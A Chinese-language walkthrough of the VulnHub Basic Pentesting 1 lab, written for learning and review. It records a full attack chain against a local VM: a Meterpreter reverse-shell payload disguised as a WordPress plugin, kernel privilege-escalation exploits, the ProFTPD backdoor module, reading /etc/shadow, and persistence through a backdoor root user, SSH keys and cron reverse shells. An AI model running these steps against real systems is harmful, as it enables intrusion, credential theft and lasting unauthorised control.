靶场链接:https://www.vulnhub.com/entry/basic-pentesting-1,216/
目标环境:192.168.198.145 (Ubuntu 16.04.3 LTS, 内核 4.10.0-28-generic)
攻击机:Kali Linux (IP: 192.168.198.143)
1. 信息收集与突破口
- 端口扫描:
nmap -O -sV 192.168.198.145发现 21(ProFTPD 1.3.3c)、22(SSH)、80(Apache 2.4.18)。 - 目录爆破:
dirb http://192.168.198.145发现/secret/目录,进而定位 WordPress 安装在/secret/下。 - 漏洞扫描:AWVS 发现
/secret/wp-login.php存在弱口令admin / admin。
关键入口:WordPress 后台管理权限 → 通过插件上传功能获得代码执行能力。
2. 获得初始 Shell (Meterpreter)
2.1 生成恶意插件并打包
使用 msfvenom 生成 PHP Meterpreter payload:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.198.143 LPORT=8888 -o shell.php重要:WordPress 插件必须包含有效的插件头,否则上传时会提示“没有找到有效的插件”。在shell.php的<?php后添加如下注释:
/** * Plugin Name: Evil Shell * Description: Meterpreter reverse shell * Version: 1.0 * Author: Attacker */然后将shell.php打包为evil.zip。
2.2 上传插件并激活
- 登录 WordPress 后台 (
http://192.168.198.145/secret/wp-login.php) 用户名admin,密码admin。 - 导航至Plugins → Add New → Upload Plugin,选择
evil.zip并安装,激活插件。
2.3 开启 Metasploit 监听并触发
msfconsole -q use exploit/multi/handler set payload php/meterpreter_reverse_tcp set LHOST 192.168.198.143 set LPORT 8888 exploit -j访问http://192.168.198.145/secret/触发 Payload,获得 Meterpreter 会话 (用户www-data)。
常见卡点 #1:插件上传失败
现象:“该软件包无法安装。没有找到有效的插件。”
原因:zip 内的 PHP 文件缺少 WordPress 插件头部注释。
解决:在文件开头添加/** Plugin Name: xxx */格式的注释块。
常见卡点 #2:端口 8888 已被占用
报错:Rex::BindFailed: address already in use
解决:lsof -i :8888找到 PID,kill -9 PID释放端口,重新启动 handler。
3. 提权过程:从 www-data 到 root
目标系统:Ubuntu 16.04.3,内核 4.10.0-28,GLIBC 版本 2.23(较低)。当前用户www-data,无 sudo 权限。
3.1 自动提权建议失败
use post/multi/recon/local_exploit_suggester set SESSION 1 run输出:No suggestions available并伴随大量 Ruby 异常。
原因:当前 Meterpreter 是由php/meterpreter_reverse_tcppayload 建立的,功能受限,无法执行本地漏洞扫描模块。
3.2 尝试 CVE-2017-16995 (eBPF) —— 动态链接版本不兼容
在 Kali 上获取漏洞源码并编译:
searchsploit -m 45010 gcc 45010.c -o exploit upload /root/exploit /tmp/在目标机执行:./exploit报错:
GLIBC_2.34 not found (required by ./exploit)原因分析:Kali 系统的 GLIBC 版本较高(≥2.34),而目标 Ubuntu 16.04 仅支持 GLIBC_2.23,动态链接的二进制无法运行。
3.3 尝试 Dirty Cow (CVE-2016-5195) —— 缺库及版本问题
searchsploit -m 40839 gcc -pthread 40839.c -o dirtycow编译报错:undefined reference to `crypt',添加-lcrypt解决:gcc -pthread 40839.c -o dirtycow -lcrypt。
上传执行后仍然报错:XCRYPT_2.0 not found以及GLIBC_2.33 / 2.34 not found。
根本原因:同样因为编译环境 glibc/libcrypt 版本过高,不兼容老旧目标系统。
3.4 最终方案:在目标机上直接编译源码
检查目标机是否具备编译器:which gcc && gcc --version返回gcc 5.4.0,完美满足条件。
操作步骤:
- 将
45010.c源码上传到目标机的/tmp:upload /root/45010.c /tmp/ - 进入目标 shell:
shell - 编译并执行:
cd /tmp gcc 45010.c -o exploit chmod +x exploit ./exploit成功获得 root shell,id显示uid=0(root) gid=0(root)。
核心经验:当预编译二进制因 glibc 版本不兼容而失败时,上传源码到目标机本地编译是最可靠的解决方式。也可以使用静态编译gcc -static exploit.c -o exploit生成不依赖外部 glibc 的二进制,但文件体积较大。
4. 踩坑汇总表
| 问题现象 | 根本原因 | 解决方案 |
|---|---|---|
| WordPress 插件上传失败 / 无效插件 | PHP 文件缺少插件头注释 | 在<?php后添加/** Plugin Name: xxx */ |
| 拖拽/复制文件到虚拟机失败 | VMware Tools 功能故障 | 使用python -m http.server或 meterpreterupload |
| Metasploit 端口绑定失败 (already in use) | 残留监听进程占用端口 | lsof -i :port→kill -9 PID |
| 目标机无法 wget 下载 exploit | 网络隔离或防火墙限制 | 使用 meterpreterupload本机文件 |
| 预编译二进制报 GLIBC 版本错误 | 编译环境 glibc 版本高于目标机 | 上传源码到目标机本地编译,或使用gcc -static |
| Dirty Cow 编译报 undefined reference to crypt | 未链接 libcrypt 库 | 编译时加-lcrypt参数 |
| local_exploit_suggester 无结果 | php meterpreter 会话功能受限 | 手工利用漏洞,不依赖自动化模块 |
5. 缺失知识点与延伸补充
5.1 环境边界意识
- meterpreter 与 Kali 本地终端的区别:在
meterpreter >提示符下只能执行 Metasploit 内置命令(upload,download,shell,ps等),不能直接运行searchsploit,gcc,wget等系统命令。这些命令必须在 Kali 本地终端中执行。 - 会话管理:
sessions -i <id>切换会话,background将当前会话放到后台,jobs -K杀掉所有任务。
5.2 编译与跨环境兼容性
- 动态链接 vs 静态链接:动态链接的二进制依赖于目标系统的共享库(如 libc.so.6)。不同 Linux 发行版或不同版本的 glibc 可能导致“版本未找到”错误。静态链接(
-static)将库直接嵌入可执行文件,提高兼容性,但体积较大。 - 常见编译参数:
-pthread:链接 POSIX 线程库。-lcrypt:链接加密库(用于 crypt 函数)。-ldl:链接动态加载库。-static:静态链接。
- 交叉编译:若目标机架构不同(如 ARM),可使用交叉编译工具链。本例为 x86_64 相同架构,故直接编译即可。
- 检查目标机编译环境:
which gcc,gcc --version,dpkg -l | grep build-essential。若无编译器且可联网,apt update && apt install gcc -y。
5.3 漏洞利用资源库使用技巧
searchsploit <关键词>:如searchsploit ubuntu 16.04 local,searchsploit -m 45010复制到当前目录。- 查看 exploit 源码注释:通常头部包含适用版本、编译方法、用法说明。例如 45010.c 明确注明
// Ubuntu 16.04 4.8.0-34-generic等。 - 常用提权漏洞编号:
- CVE-2017-16995 (eBPF) → 45010
- CVE-2016-5195 (Dirty Cow) → 40839 / 40616
- CVE-2017-1000112 (UFO) → 43127
- CVE-2021-3156 (sudo 溢出) → 49361
- CVE-2021-4034 (pwnkit) → 51206
5.4 提权后的基本后渗透操作
- 信息收集:
cat /etc/passwd /etc/shadow history ip a ; route -n ps auxf find / -perm -4000 2>/dev/null - 持久化访问:
- 添加 root 用户:
useradd -m -s /bin/bash backdoor; echo 'backdoor:pass123' | chpasswd; usermod -aG sudo backdoor - 添加 SSH 公钥:
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys - 创建定时任务(cron)反弹 shell。
- 添加 root 用户:
- 横向移动:使用
nmap -sn 192.168.198.0/24扫描同网段存活主机,配合proxychains代理扫描内网服务。抓取密码哈希后用 John the Ripper 或 Hashcat 破解。
5.5 学习路线与实战思维
- 靶场练习:VulnHub 上的 Ubuntu 16.04 靶机(如 FristiLeaks, Mr-Robot, Raven)反复练习手工提权。
- 理解底层原理:ELF 文件格式、动态链接器 ld-linux、环境变量 LD_PRELOAD 劫持、SUID 机制。
- 后渗透框架:Metasploit 的 post 模块(
linux/gather/hashdump,manage/sshkey_persistence)和Meterpreter脚本。 - 心理与流程:
- 遇到错误逐条阅读输出,定位关键词(如
GLIBC,not found)。 - 分步验证:每次执行命令后立即
ls,pwd,id确认状态。 - 不要只依赖自动化工具,手工利用漏洞(如本地编译)往往是最终王牌。
- 遇到错误逐条阅读输出,定位关键词(如
6. 总结
本次渗透测试成功利用了 WordPress 弱口令进入后台,上传构造的恶意插件获得www-data初始 Shell。面对自动提权模块失效、预编译二进制因 glibc 版本不兼容而失败的情况,通过将 exploit 源码上传至目标机本地编译,最终利用 CVE-2017-16995 成功提权至 root。整个过程凸显了环境适配能力和手工漏洞利用的重要性。
今后打算,加强对以下方面的练习:Linux 编译与库依赖、漏洞利用代码的搜索与解读、后渗透信息收集与持久化。反复在靶场中模拟类似场景,将逐步形成独立的渗透思维。
后续
渗透补充:IP 变更导致会话中断,ProFTPD 后门紧急接管
前面通过 WordPress 弱口令上传插件获得 Meterpreter 会话,并成功利用 CVE-2017-16995 提权至 root。但随后靶机 IP 从192.168.198.145变更为192.168.198.146,导致原有会话断开,SSH 公钥注入尚未完成。后利用利用备用路径(ProFTPD 1.3.3c 后门)重新获得 root shell 并建立持久化 SSH 后门。
1. 会话中断原因分析
- 靶机使用 DHCP 动态获取 IP,重启或网络重置后 IP 发生变化。
- Meterpreter 会话基于 TCP 连接,IP 变更后连接自然失效。
- 当时尚未完成 SSH 公钥注入,因此无法直接 SSH 登录。
- WordPress 入口出现空白页(可能 PHP 错误或插件被删),无法快速恢复 Meterpreter。
教训:拿到 root 后第一件事应当是建立持久化后门(SSH 公钥、计划任务等),避免因 IP 变化或进程死亡而失去控制权。
2. 备选路径:ProFTPD 1.3.3c 后门漏洞 (CVE-2010-4221)
2.1 漏洞回顾
在最初的信息收集阶段,nmap 扫描结果已经显示目标开放 21 端口,且服务版本为ProFTPD 1.3.3c:
21/tcp open ftp ProFTPD 1.3.3c该版本曾在官方源码中被植入后门,攻击者无需认证,只需发送特定命令HELP ACIDBITCHEZ即可获得远程 root shell。
2.2 利用步骤
使用 Metasploit 的专用模块:
msf6 > use exploit/unix/ftp/proftpd_133c_backdoor msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOST 192.168.198.146 RHOST => 192.168.198.146 msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set PAYLOAD cmd/unix/reverse_perl PAYLOAD => cmd/unix/reverse_perl msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set LHOST 192.168.198.143 LHOST => 192.168.198.143 msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set LPORT 4444 LPORT => 4444 msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run2.3 执行结果
[*] Started reverse TCP handler on 192.168.198.143:4444 [*] 192.168.198.146:21 - Sending Backdoor Command [*] Command shell session 1 opened (192.168.198.143:4444 -> 192.168.198.146:41798) at 2026-06-09 01:50:45 -0400成功获得一个root 权限的命令行 shell(非 meterpreter)。
3. 建立 SSH 持久化后门
由于当前 shell 不稳定(依赖 Metasploit 会话),立刻注入 SSH 公钥实现长期稳定访问。
3.1 在 Kali 上准备 SSH 公钥
# 查看已有公钥 cat ~/.ssh/id_rsa.pub # 若没有,生成密钥对 ssh-keygen -t rsa -b 40963.2 在目标 shell 中写入公钥
进入 session 1 并执行:
sessions -i 1 mkdir -p /root/.ssh echo "ssh-rsa AAAAB3NzaC1yc2EAAA..." >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys3.3 验证 SSH 登录
在 Kali 中测试:
ssh root@192.168.198.146首次连接需接受主机密钥,之后成功登录:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-28-generic x86_64) root@vtcsec:~#持久化后门建立完成。即使 IP 再次变化,只要扫描到 22 端口即可通过公钥登录。
4. 为何不继续使用 WordPress 路径?
- 登录页面
/secret/wp-login.php变为空白(可能 PHP 错误、数据库连接失败或插件被删)。 - 原有恶意插件可能已被清理,重新上传需要再次登录后台,但空白页导致无法操作。
- ProFTPD 漏洞更直接,无需依赖 Web 环境,且直接获得 root。
5. 关于域名探测
在整个渗透过程中,未发现目标绑定的域名。访问 IP 即可直接响应,无 HTTP 重定向或虚拟主机配置。使用nslookup 192.168.198.146或dig -x 192.168.198.146均未返回 PTR 记录。因此后续所有操作均基于 IP 地址进行。
6. 后续操作摘要
- 收集系统信息:
uname -a、cat /etc/os-release、id确认 root。 - 抓取敏感文件:
/etc/shadow中 marlinspike 用户的 SHA-512 哈希,可用于离线破解。 - 内网探测:
nmap -sn 192.168.198.0/24扫描同网段存活主机。 - 维持访问:除 SSH 公钥外,还可添加隐藏用户或定时反弹任务。
7. 经验总结
| 关键点 | 教训 |
|---|---|
| IP 动态变更 | 持久化后门必须在拿到 root 后立即完成,不可拖延。 |
| 备用路径的重要性 | 信息收集阶段应记录所有服务版本,ProFTPD 后门成为救场关键。 |
| SSH 公钥注入 | 比 Meterpreter 会话更稳定,不依赖特定端口和进程。 |
| 域名探测 | 若目标无域名,直接使用 IP 进行攻击即可,不影响后续。 |
补充:本次成功利用 ProFTPD 漏洞完全基于最初 nmap 扫描发现的服务信息。这也再次证明,渗透测试中全面、准确的端口与版本识别是后续所有攻击的基石。
记录时间:2026-06-09 | 攻击机:Kali 192.168.198.143 | 目标:192.168.198.146 (Ubuntu 16.04)
完整攻击链路记录 | 关键突破:目标机本地编译绕过 glibc 不兼容 | 用于学习和复盘